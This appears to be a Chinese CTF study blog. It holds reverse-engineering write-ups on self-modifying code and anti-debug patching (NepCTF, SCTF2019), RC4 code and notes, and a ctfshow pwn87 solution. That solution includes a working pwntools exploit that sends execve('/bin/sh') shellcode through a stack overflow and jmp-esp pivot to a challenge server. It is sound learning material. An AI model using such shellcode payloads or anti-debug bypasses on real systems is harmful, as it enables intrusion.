wuuu,上次烽火杯的smc没写出来,这次的nepctf的smc也没写出了,所以打算总结一下smc,并且以后碰到smc都往这个blog里面放了。

简述一下原理:

在CTF逆向工程中,SMC(Self-Modifying Code,自修改代码) 是一种常见的反分析技术。其核心原理是程序在运行时动态修改自身的指令代码,使得静态分析工具(如IDA Pro)无法直接获取完整的可执行逻辑,从而增加逆向难度。

感觉smc根本就不难,动调一下基本都可以解决,但是难在有些反调试等方面感觉只单出smc的没见过。

话不多说直接上例题,我目前写过的smc有:NepCTF的realme,[网鼎杯 2020 青龙组]jocker,[SCTF2019]creakme,和烽火杯的smc

今天一天可能写不完四个,慢慢写吧,就按这个顺序来写。

NepCTF realme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-104h]
char v5; // [esp+0h] [ebp-104h]
unsigned int i; // [esp+D0h] [ebp-34h]
char v7[40]; // [esp+DCh] [ebp-28h] BYREF

__CheckForDebuggerJustMyCode(&unk_41200F);
qmemcpy(v7, "PY", 2);
v7[2] = -94;
v7[3] = -108;
v7[4] = 46;
v7[5] = -114;
v7[6] = 92;
v7[7] = -107;
v7[8] = 121;
v7[9] = 22;
v7[10] = -27;
v7[11] = 54;
v7[12] = 96;
v7[13] = -57;
v7[14] = -24;
v7[15] = 6;
v7[16] = 51;
v7[17] = 120;
v7[18] = -16;
v7[19] = -48;
v7[20] = 54;
v7[21] = -56;
v7[22] = 115;
v7[23] = 27;
v7[24] = 101;
v7[25] = 64;
v7[26] = -75;
v7[27] = -44;
v7[28] = -24;
v7[29] = -100;
v7[30] = 101;
v7[31] = -12;
v7[32] = -70;
v7[33] = 98;
v7[34] = -48;
sub_40108C("Please input the flag:\n", v4);
sub_4011C2("%s", byte_410158);
sub_401050(byte_410158, Str); //魔改RC4 KSA多了一个^0x66,最后的和秘钥流的异或变成了模取
for ( i = 0; i < 0x23; ++i )
{
if ( byte_410158[i] != v7[i] )
{
sub_40108C("Wrong flag!\n", v5);
return 0;
}
}
sub_40108C("Correct flag!\n", v5);
return 0;
}

这个rc4的魔改解出来是个错的,就不详细解释了。

进入正文,反思一下我这里没解出来主要是没找到反调试的地方,因为IDA没把他识别成函数,藏在汇编里面。

要自己去翻汇编代码,给他P重定义一下

1

2

只能硬找莫得办法,重定义后Tab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// write access to const memory has been detected, the output may be wrong!
void *sub_401500()
{
void *result; // eax

result = (void *)(NtCurrentPeb()->NtGlobalFlag & 0x70);
if ( !result )
{
*(&loc_40902A + 1) ^= 0x65u;
*((_BYTE *)&loc_40902A + 2) ^= 0xFAu;
*(&loc_407080 + 2) ^= 5u;
result = &loc_40B077;
loc_40B077 ^= 0x10u;
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// write access to const memory has been detected, the output may be wrong!
void *__cdecl sub_4015C0(int a1, char a2)
{
void *result; // eax

sub_401023("%s", a2);
if ( CloseHandle((HANDLE)0x1234) || GetLastError() != 6 )
return 0;
*(&loc_407080 + 1) ^= 0xD0u;
*(&loc_40B104 + 2) ^= 0xCBu;
loc_40B078 ^= 0x61u;
result = &loc_40B079;
loc_40B079 ^= 0x5Fu;
return result;
}

很明显的反调试和smc了

smc没什么好讲的得会动调就全部解决了,这里要解决反调试

第一个反调试我们要把(!result)改成(result)。

第二个反调试我要把CloseHandle((HANDLE)0x1234) || GetLastError() != 6的CloseHandle((HANDLE)0x1234) nop掉,不然动调会报错。

还要把if的条件反过来。

1
.text:0040153F                 jz      short loc_401543  --> jnz      short loc_401543
1
2
.text:004015EE                 push    1234h           ; hObject        -->nop
.text:004015F3 call ds:__imp_CloseHandle -->nop
1
2
3
4
5
6
7
.text:00401607                 jnz     short loc_40161D                jnz-->jz
.text:00401609 mov esi, esp
.text:0040160B call ds:__imp_GetLastError
.text:00401611 cmp esi, esp
.text:00401613 call j___RTC_CheckEsp
.text:00401618 cmp eax, 6
.text:0040161B jz short loc_401635 jz--->jnz

如果不会改可以上网查一下IDA怎么patch。

改完之后我们就可以看到真实的加密逻辑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void *__cdecl sub_40B000(int a1, int a2, unsigned int a3)
{
void *result; // eax
char v4; // [esp+D3h] [ebp-129h]
char v5[264]; // [esp+DCh] [ebp-120h] BYREF
int v6; // [esp+1E4h] [ebp-18h]
int i; // [esp+1F0h] [ebp-Ch]

v6 = 0;
result = memset(v5, 0, 0x100u);
for ( i = 0; i < 256; ++i )
{
*(_BYTE *)(i + a1) = i ^ 0xCF;
v5[i] = *(_BYTE *)(a2 + i % a3);
result = (void *)(i + 1);
}
for ( i = 0; i < 256; ++i )
{
v6 = ((unsigned __int8)v5[i] + v6 + *(unsigned __int8 *)(i + a1)) % 256;
v4 = *(_BYTE *)(i + a1);
*(_BYTE *)(i + a1) = *(_BYTE *)(v6 + a1);
*(_BYTE *)(v6 + a1) = v4 ^ 0xAD;
result = (void *)(i + 1);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned int __cdecl sub_401A60(int a1, int a2, unsigned int a3)
{
unsigned int result; // eax
int v4; // ecx
char v5; // al
char v6; // [esp+D3h] [ebp-35h]
unsigned int i; // [esp+DCh] [ebp-2Ch]
int v8; // [esp+F4h] [ebp-14h]
int v9; // [esp+100h] [ebp-8h]

__CheckForDebuggerJustMyCode(&unk_41200F);
v9 = 0;
v8 = 0;
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a3 )
break;
v9 = (v9 + 1) % 256;
v8 = (v8 + v9 * *(unsigned __int8 *)(v9 + a1)) % 256;
v6 = *(_BYTE *)(v9 + a1);
*(_BYTE *)(v9 + a1) = *(_BYTE *)(v8 + a1);
*(_BYTE *)(v8 + a1) = v6;
v4 = (*(unsigned __int8 *)(v8 + a1) + *(unsigned __int8 *)(v9 + a1)) % 256;
if ( i % 2 )
v5 = *(_BYTE *)(v4 + a1) + *(_BYTE *)(i + a2);
else
v5 = *(_BYTE *)(i + a2) - *(_BYTE *)(v4 + a1);
*(_BYTE *)(i + a2) = v5;
}
return result;
}

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# 密文(从main函数的v7数组转换为无符号字节)
ciphertext = [
0x50, 0x59, 0xA2, 0x94, 0x2E, 0x8E, 0x5C, 0x95, 0x79, 0x16,
0xE5, 0x36, 0x60, 0xC7, 0xE8, 0x06, 0x33, 0x78, 0xF0, 0xD0,
0x36, 0xC8, 0x73, 0x1B, 0x65, 0x40, 0xB5, 0xD4, 0xE8, 0x9C,
0x65, 0xF4, 0xBA, 0x62, 0xD0
]

# 密钥
key = b"Y0u_Can't_F1nd_Me!"
key_len = len(key)

# 初始化S盒(sub_40B000的第一个循环)
S = [i ^ 0xCF for i in range(256)]

# 准备v5数组(密钥扩展)
v5 = [key[i % key_len] for i in range(256)]

# sub_40B000的第二个循环:置换S盒
v6 = 0
for i in range(256):
v6 = (v5[i] + v6 + S[i]) % 256
v4 = S[i]
S[i] = S[v6]
S[v6] = v4 ^ 0xAD # 注意这里的异或操作

# 执行PRGA并解密(模拟sub_401A60的逆向过程)
v9 = 0
v8 = 0
plaintext_bytes = []

for i in range(len(ciphertext)):
# 更新v9和v8
v9 = (v9 + 1) % 256
v8 = (v8 + v9 * S[v9]) % 256 # 关键的v8计算

# 交换S[v9]和S[v8]
temp = S[v9]
S[v9] = S[v8]
S[v8] = temp

# 计算密钥流字节k
v4 = (S[v8] + S[v9]) % 256
k = S[v4]

# 根据索引奇偶性解密
if i % 2 == 1: # 奇数索引:密文 = 明文 + k → 明文 = 密文 - k
plain_byte = (ciphertext[i] - k) % 256
else: # 偶数索引:密文 = 明文 - k → 明文 = 密文 + k
plain_byte = (ciphertext[i] + k) % 256

plaintext_bytes.append(plain_byte)

# 转换为字符串并输出
plaintext = bytes(plaintext_bytes).decode('ascii')
print("解密得到的flag:", plaintext)
1
NepCTF{Y0u_FiN1sH_Th1s_E3sy_Smc!!!}

[网鼎杯 2020 青龙组]jocker

链接

[SCTF2019]creakme

简述一下这里主要是反调试+smc+AES的CBC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
int __cdecl main(int argc, const char **argv, const char **envp)
{
HMODULE ModuleHandleW; // eax
int v4; // eax
_DWORD *v5; // eax
unsigned int v6; // edx
_DWORD *v7; // ecx
unsigned int v8; // ebx
char *v9; // edi
unsigned int v10; // esi
unsigned int v11; // esi
bool v12; // cf
unsigned __int8 v13; // al
unsigned __int8 v14; // al
unsigned __int8 v15; // al
int v16; // esi
void *v17; // ecx
void *v18; // ecx
const char *v19; // edx
int v20; // eax
int v22; // [esp+0h] [ebp-80h]
void *Block[5]; // [esp+10h] [ebp-70h] BYREF
unsigned int v24; // [esp+24h] [ebp-5Ch]
void *v25[5]; // [esp+28h] [ebp-58h] BYREF
unsigned int v26; // [esp+3Ch] [ebp-44h]
char Src[48]; // [esp+40h] [ebp-40h] BYREF
int v28; // [esp+7Ch] [ebp-4h]

ModuleHandleW = GetModuleHandleW(0);
sub_402320(ModuleHandleW);
sub_4024A0();
v4 = sub_402870(std::cout, "welcome to 2019 sctf");
std::ostream::operator<<(v4, sub_402AC0);
sub_402870(std::cout, "please input your ticket:");
sub_402AF0(v22);
v25[4] = 0;
v26 = 15;
LOBYTE(v25[0]) = 0;
sub_401D30(v25, Src, strlen(Src));
v28 = 0;
v5 = sub_4020D0(Block, (int)v25); // AES的CBC模式
v6 = strlen(aPvfqyc4ttc2uxr);
v7 = v5;
if ( v5[5] >= 0x10u )
v7 = (_DWORD *)*v5;
v8 = v5[4];
v9 = aPvfqyc4ttc2uxr;
v10 = v8;
if ( v6 < v8 )
v10 = v6;
v12 = v10 < 4;
v11 = v10 - 4;
if ( v12 )
{
LABEL_8:
if ( v11 == -4 )
goto LABEL_17;
}
else
{
while ( *v7 == *(_DWORD *)v9 )
{
++v7;
v9 += 4;
v12 = v11 < 4;
v11 -= 4;
if ( v12 )
goto LABEL_8;
}
}
v12 = *(_BYTE *)v7 < (unsigned __int8)*v9;
if ( *(_BYTE *)v7 != *v9
|| v11 != -3
&& ((v13 = *((_BYTE *)v7 + 1), v12 = v13 < (unsigned __int8)v9[1], v13 != v9[1])
|| v11 != -2
&& ((v14 = *((_BYTE *)v7 + 2), v12 = v14 < (unsigned __int8)v9[2], v14 != v9[2])
|| v11 != -1 && (v15 = *((_BYTE *)v7 + 3), v12 = v15 < (unsigned __int8)v9[3], v15 != v9[3]))) )
{
v16 = v12 ? -1 : 1;
goto LABEL_18;
}
LABEL_17:
v16 = 0;
LABEL_18:
if ( !v16 )
{
if ( v6 <= v8 )
v16 = v6 < v8;
else
v16 = -1;
}
if ( v24 >= 0x10 )
{
v17 = Block[0];
if ( v24 + 1 >= 0x1000 )
{
v17 = (void *)*((_DWORD *)Block[0] - 1);
if ( (unsigned int)(Block[0] - v17 - 4) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
sub_402F05(v17);
}
v28 = -1;
Block[4] = 0;
v24 = 15;
LOBYTE(Block[0]) = 0;
if ( v26 >= 0x10 )
{
v18 = v25[0];
if ( v26 + 1 >= 0x1000 )
{
v18 = (void *)*((_DWORD *)v25[0] - 1);
if ( (unsigned int)(v25[0] - v18 - 4) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
sub_402F05(v18);
}
v19 = "Have fun!";
if ( v16 )
v19 = "A forged ticket!!";
v20 = sub_402870(std::cout, v19);
std::ostream::operator<<(v20, sub_402AC0);
system("pause");
return 0;
}

AES的CBC怎么看出来的,emmm,我暂时没深入了解这个加密,所以问ai的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __thiscall sub_402320(_DWORD *this)
{
int v1; // eax
__int16 v2; // bx
const char *v3; // esi
int i; // edi
int v5; // eax

v1 = this[15];
v2 = *(_WORD *)((char *)this + v1 + 6);
v3 = (char *)this + v1 + 248;
for ( i = 0; i < v2; ++i )
{
v5 = strcmp(v3, ".SCTF");
if ( v5 )
v5 = v5 < 0 ? -1 : 1;
if ( !v5 )
{
DebugBreak();
return;
}
v3 += 40;
}
}
1
2
3
4
5
6
7
8
9
int sub_4024A0()
{
unsigned int NtGlobalFlag; // [esp+10h] [ebp-20h]

NtGlobalFlag = NtCurrentPeb()->NtGlobalFlag;
if ( NtCurrentPeb()->BeingDebugged || NtGlobalFlag == 112 )
exit(-5);
return ((int (*)(void))dword_404000[0])();
}

这两个是反调试,这个比NepCTF好多了。至少反调试容易找到wuuuuu~~~~

和nep一样直接patch掉反调试,当然你也可以动调的时候改变ZF来改变线程的走向。

绕过反调试,但是到了call就会报错404000。

这里参考大佬的用IDA的python脚本来手动还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __fastcall sub_402450(int a1, int a2, int a3, int a4)
{
int result; // eax
int v7; // edx
char v8; // cl

result = 0;
if ( a2 > 0 )
{
while ( 1 )
{
v7 = 0;
if ( a4 > 0 )
break;
LABEL_5:
if ( result >= a2 )
return result;
}
while ( result < a2 )
{
v8 = aSycloversyclov[v7++];
*(_BYTE *)(result + a1) = ~(*(_BYTE *)(result + a1) ^ v8);
++result;
if ( v7 >= a4 )
goto LABEL_5;
}
}
return result;
}

找到smc的地方,用脚本来还原

1
2
3
4
5
6
7
8
add1=0x404000
add2=0x405000
key="sycloversyclover"
bb=0
for i in range(add1,add2,1):
wr=(~(idc.get_wide_byte(i) ^ ord(key[bb%len(key)]))&0xff) #这里&0xff是避免取反时高位补一
ida_bytes.patch_byte(i,wr)
bb+=1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned int sub_404000()
{
unsigned int i; // edx
unsigned int v1; // esi
unsigned int result; // eax
unsigned int v3; // eax
char v4; // dl

for ( i = 0; i < strlen(aPvfqyc4ttc2uxr); ++i )
--aPvfqyc4ttc2uxr[i];
v1 = 0;
result = strlen(aPvfqyc4ttc2uxr);
if ( (result & 0xFFFFFFFE) != 0 )
{
do
{
v3 = result - v1;
v4 = *(_BYTE *)(v3 + 4231191);
*(_BYTE *)(v3 + 4231191) = aPvfqyc4ttc2uxr[v1];
aPvfqyc4ttc2uxr[v1++] = v4;
result = strlen(aPvfqyc4ttc2uxr);
}
while ( v1 < result >> 1 );
}
return result;
}

解密得到nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo=

最后秘钥为sycloversyclover,偏移量为sctfsctfsctfsctf

1
sctf{Ae3_C8c_I28_pKcs79ad4}

烽火杯的smc

这个算是最简单的反调试改jz就可以,直接linux动调就可以还原了,就不都说了xixi。

感觉打了这么就得逆向,没AI感觉就不中了,啥也干不了,于是从现在开始学习原理知识。

开始rc4的学习以后碰到rc4就放到这个里面来。开始全栈之逆向之路。

标准rec4加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define MAX_INPUT_LEN 1024

typedef struct {
unsigned char S[256];
unsigned char i; // 改为 unsigned char 避免转换问题
unsigned char j; // 改为 unsigned char 避免转换问题
} RC4_CTX;

/* 初始化函数 */
void rc4_init(RC4_CTX* ctx, const unsigned char* key, size_t key_len) {
int i; // 使用 int 避免 size_t 转换警告
unsigned char j = 0;
unsigned char temp;

for (i = 0; i < 256; i++) {
ctx->S[i] = (unsigned char)i;
}

ctx->i = 0;
ctx->j = 0;

for (i = 0; i < 256; i++) {
j = (unsigned char)(j + ctx->S[i] + key[i % key_len]); // 显式转换
temp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = temp;
}
}

/* 生成密钥流字节 */
unsigned char rc4_generate_byte(RC4_CTX* ctx) {
unsigned char temp;
ctx->i = (unsigned char)(ctx->i + 1);
ctx->j = (unsigned char)(ctx->j + ctx->S[ctx->i]);
temp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = temp;
return ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) & 0xFF]; // 使用位操作避免转换
}

/* 加密函数 */
void rc4_crypt(RC4_CTX* ctx, const unsigned char* input,
unsigned char* output, size_t len) {
size_t n;
for (n = 0; n < len; n++) {
output[n] = input[n] ^ rc4_generate_byte(ctx);
}
}

/* 二进制转十六进制 */
char* bin2hex(const unsigned char* bin, size_t len) {
if (len == 0) return NULL;

char* hex = (char*)malloc(len * 2 + 1);
if (!hex) return NULL;

for (size_t i = 0; i < len; i++) {
sprintf_s(hex + i * 2, 3, "%02X", bin[i]); // 使用安全的 sprintf_s
}
hex[len * 2] = '\0';
return hex;
}

/* 安全获取输入 */
void get_input(const char* prompt, char* buffer, size_t max_len) {
printf("%s", prompt);
if (fgets(buffer, (int)max_len, stdin) == NULL) { // 显式转换
buffer[0] = '\0';
return;
}

// 移除换行符
size_t len = strlen(buffer);
if (len > 0 && buffer[len - 1] == '\n') {
buffer[len - 1] = '\0';
}
}

int main() {
char key[MAX_INPUT_LEN];
char plaintext[MAX_INPUT_LEN];

printf("=== RC4 加密工具 ===\n");

// 获取用户输入
get_input("请输入密钥: ", key, sizeof(key));
get_input("请输入明文: ", plaintext, sizeof(plaintext));

size_t len = strlen(plaintext);
if (len == 0) {
printf("错误: 明文不能为空\n");
return 1;
}

// 分配内存
unsigned char* ciphertext = (unsigned char*)malloc(len);
if (!ciphertext) {
fprintf(stderr, "错误: 内存分配失败\n");
return 1;
}

// 加密过程
RC4_CTX ctx;
rc4_init(&ctx, (const unsigned char*)key, strlen(key));
rc4_crypt(&ctx, (const unsigned char*)plaintext, ciphertext, len);

// 转换为十六进制
char* hex_cipher = bin2hex(ciphertext, len);
if (!hex_cipher) {
fprintf(stderr, "错误: 十六进制转换失败\n");
free(ciphertext);
return 1;
}

// 输出结果
printf("\n加密结果:\n");
printf("密钥: %s\n", key);
printf("明文: %s\n", plaintext);
printf("密文(HEX): %s\n", hex_cipher);

// 清理内存
free(ciphertext);
free(hex_cipher);

printf("\n按 Enter 键退出...");
getchar(); // 忽略返回值
return 0;
}

标准rec4解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>

#define MAX_INPUT_LEN 2048

typedef struct {
unsigned char S[256];
unsigned char i; // 改为 unsigned char 避免转换问题
unsigned char j; // 改为 unsigned char 避免转换问题
} RC4_CTX;

/* 初始化函数 */
void rc4_init(RC4_CTX* ctx, const unsigned char* key, size_t key_len) {
int i; // 使用 int 避免 size_t 转换警告
unsigned char j = 0;
unsigned char temp;

for (i = 0; i < 256; i++) {
ctx->S[i] = (unsigned char)i;
}

ctx->i = 0;
ctx->j = 0;

for (i = 0; i < 256; i++) {
j = (unsigned char)(j + ctx->S[i] + key[i % key_len]); // 显式转换
temp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = temp;
}
}

/* 生成密钥流字节 */
unsigned char rc4_generate_byte(RC4_CTX* ctx) {
unsigned char temp;
ctx->i = (unsigned char)(ctx->i + 1);
ctx->j = (unsigned char)(ctx->j + ctx->S[ctx->i]);
temp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = temp;
return ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) & 0xFF]; // 使用位操作避免转换
}

/* 解密函数 */
void rc4_crypt(RC4_CTX* ctx, const unsigned char* input,
unsigned char* output, size_t len) {
size_t n;
for (n = 0; n < len; n++) {
output[n] = input[n] ^ rc4_generate_byte(ctx);
}
}

/* 十六进制转二进制 */
unsigned char* hex2bin(const char* hex, size_t* len) {
size_t hex_len = strlen(hex);

// 检查十六进制长度
if (hex_len % 2 != 0) {
fprintf(stderr, "错误: 无效的十六进制长度\n");
return NULL;
}

*len = hex_len / 2;
if (*len == 0) {
return NULL;
}

unsigned char* bin = (unsigned char*)malloc(*len);
if (!bin) return NULL;

for (size_t i = 0; i < *len; i++) {
char hex_byte[3] = { 0 };
hex_byte[0] = hex[i * 2];
hex_byte[1] = hex[i * 2 + 1];

char* endptr;
unsigned long value = strtoul(hex_byte, &endptr, 16);

if (*endptr != '\0' || value > 255) {
fprintf(stderr, "错误: 无效的十六进制字节 '%s'\n", hex_byte);
free(bin);
return NULL;
}

bin[i] = (unsigned char)value;
}

return bin;
}

/* 安全获取输入 */
void get_input(const char* prompt, char* buffer, size_t max_len) {
printf("%s", prompt);
if (fgets(buffer, (int)max_len, stdin) == NULL) { // 显式转换
buffer[0] = '\0';
return;
}

// 移除换行符
size_t len = strlen(buffer);
if (len > 0 && buffer[len - 1] == '\n') {
buffer[len - 1] = '\0';
}
}

int main() {
char key[MAX_INPUT_LEN];
char hex_cipher[MAX_INPUT_LEN];

printf("=== RC4 解密工具 ===\n");

// 获取用户输入
get_input("请输入密钥: ", key, sizeof(key));
get_input("请输入密文(HEX): ", hex_cipher, sizeof(hex_cipher));

// 验证十六进制输入
for (size_t i = 0; hex_cipher[i]; i++) {
if (!isxdigit((unsigned char)hex_cipher[i])) { // 显式类型转换
fprintf(stderr, "错误: 无效的十六进制字符 '%c'\n", hex_cipher[i]);
return 1;
}
}

// 转换为二进制
size_t cipher_len;
unsigned char* ciphertext = hex2bin(hex_cipher, &cipher_len);
if (!ciphertext || cipher_len == 0) {
fprintf(stderr, "错误: 十六进制转换失败\n");
return 1;
}

// 分配解密缓冲区
unsigned char* decrypted = (unsigned char*)calloc(cipher_len + 1, 1);
if (!decrypted) {
fprintf(stderr, "错误: 内存分配失败\n");
free(ciphertext);
return 1;
}

// 解密过程
RC4_CTX ctx;
rc4_init(&ctx, (const unsigned char*)key, strlen(key));
rc4_crypt(&ctx, ciphertext, decrypted, cipher_len);

// 确保字符串终止
decrypted[cipher_len] = '\0';

// 输出结果
printf("\n解密结果:\n");
printf("密钥: %s\n", key);
printf("密文(HEX): %s\n", hex_cipher);
printf("解密文本: %s\n", decrypted);

// 清理内存
free(ciphertext);
free(decrypted);

printf("\n按 Enter 键退出...");
getchar(); // 忽略返回值
return 0;
}

这里来详细了解一下标准rc4

算法概述:RC4(Rivest Cipher 4)是由Ron Rivest在1987年设计的流密码算法,被广泛应用于SSL/TLS、WEP等协议中。它是一种对称

加密算法,使用相同的密钥进行加密和解密。

核心组件

  1. S盒(State Box)
  • 256字节的数组(0-255)
  • 初始化为顺序值:S[0]=0, S[1]=1, ..., S[255]=255
  1. 密钥调度算法(KSA)
  • 使用密钥初始化S盒
  • 伪代码:
1
2
3
4
j = 0
for i from 0 to 255:
j = (j + S[i] + key[i % key_length]) % 256
swap(S[i], S[j])
  1. 伪随机生成算法(PRGA)
  • 生成密钥流字节
  • 伪代码:
1
2
3
4
5
i = (i + 1) % 256
j = (j + S[i]) % 256
swap(S[i], S[j])
K = S[(S[i] + S[j]) % 256]
return K
  1. 加密/解密过程

    • 明文/密文与密钥流字节异或
    • ciphertext_byte = plaintext_byte XOR K
    • plaintext_byte = ciphertext_byte XOR K

详细加密流程

  1. 步骤1: 密钥调度(KSA)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void rc4_init(RC4_CTX *ctx, const unsigned char *key, size_t key_len) {
unsigned char j = 0;
// 初始化S盒
for (int i = 0; i < 256; i++) {
ctx->S[i] = (unsigned char)i;
}

// 重置索引
ctx->i = 0;
ctx->j = 0;

// 使用密钥打乱S盒
for (int i = 0; i < 256; i++) {
j = (j + ctx->S[i] + key[i % key_len]) % 256;
// 交换S[i]和S[j]
unsigned char temp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = temp;
}
}

KSA简而言之就是先初始化S盒在用key打乱S盒。

  1. 步骤2: 生成密钥流字节(PRGA)
1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned char rc4_generate_byte(RC4_CTX *ctx) {
// 更新索引
ctx->i = (ctx->i + 1) % 256;
ctx->j = (ctx->j + ctx->S[ctx->i]) % 256;

// 交换S[i]和S[j]
unsigned char temp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = temp;

// 计算密钥流字节
return ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) % 256];
}

PRGA简而言之生成密钥流

  1. 步骤3: 加密数据
1
2
3
4
5
6
7
void rc4_crypt(RC4_CTX *ctx, const unsigned char *input, 
unsigned char *output, size_t len) {
for (size_t n = 0; n < len; n++) {
// 生成密钥流字节并与输入字节异或
output[n] = input[n] ^ rc4_generate_byte(ctx);
}
}

总结:我可以发现只要得到秘钥流就可以通过密文和秘钥流异或得到明文,当然这个用的时候得保证这个异或没有被魔改。

pwn87

1
2
3
4
5
6
7
8
9
10
int ctfshow()
{
char s[28]; // [esp+8h] [ebp-20h] BYREF

puts("What's your name?");
fflush(stdout);
fgets(s, 50, stdin);
printf("Hello %s.", s);
return fflush(stdout);
}

fgets(s, 50, stdin);存在栈溢出漏洞。

50 - 0x20 - 0x04 = 14

可利用的空间不足,要利用栈迁移。

1
ROPgadget --binary=pwn --only='jmp|ret'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
~$ ROPgadget --binary=pwn --only='jmp|ret'
Gadgets information
============================================================
0x08048bcf : jmp 0x2825346b
0x080483bb : jmp 0x80483a0
0x08048534 : jmp 0x80484c0
0x08048612 : jmp 0x8048613
0x08048624 : jmp 0x8048625
0x08048636 : jmp 0x8048637
0x0804866c : jmp 0x804866d
0x080485f3 : jmp 0x8c0485f5
0x080485ca : jmp 0xf05585ce
0x080485dc : jmp 0xf05585e0
0x08048d17 : jmp esp
0x0804837a : ret
0x080484ce : ret 0xeac1

Unique gadgets found: 13

找到0x08048d17 : jmp esp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

# 连接远程服务器
p = remote('pwn.challenge.ctf.show', 28287)

# 设置上下文为 32 位(i386)
context(arch='i386', os='linux', log_level='debug')

# 加载 ELF 文件
elf = ELF('./pwn')

# 定义 x86 shellcode(注意前面加 b 表示 bytes)
shellcode_x86 = (
b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
b"\x0b\xcd\x80"
)

# 生成 sub esp, 0x28; jmp esp 的机器码
sub_esp_jmp = asm('sub esp, 0x28; jmp esp')

# 固定地址(需根据实际程序确认)
jmp_esp = 0x08048d17

# 构造 payload
payload = shellcode_x86
payload += b'b' * (0x20 - len(shellcode_x86)) # 填充到 0x20
payload += b'bbbb' # ebp
payload += p32(jmp_esp) # 覆盖返回地址
payload += sub_esp_jmp # 跳转指令

# 发送 payload
p.sendline(payload)

# 交互模式
p.interactive()

解释一下疑惑点,当执行到p32(jmp_esp);由于函数返回时执行leave ret;leave:pop ebp 是esp会指向ebp + 4 也就是 sub_esp_jmp;然

后esp 转到 esp - 0x28的位置,也就是s的起始位置;jmp esp使得esp指向s的起始位置,ret使得esp指向eip,执行shellcode。

pwn88

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h] BYREF
int v5; // [rsp+Ch] [rbp-14h]
__int64 v6[2]; // [rsp+10h] [rbp-10h] BYREF

v6[1] = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
printf("Where What?");
v5 = __isoc99_scanf("%llx %d", v6, &v4);
if ( v5 != 2 )
return 0;
*(_BYTE *)v6[0] = v4;
if ( v4 == 0xFF )
puts("No flag for you");
return 0;
}

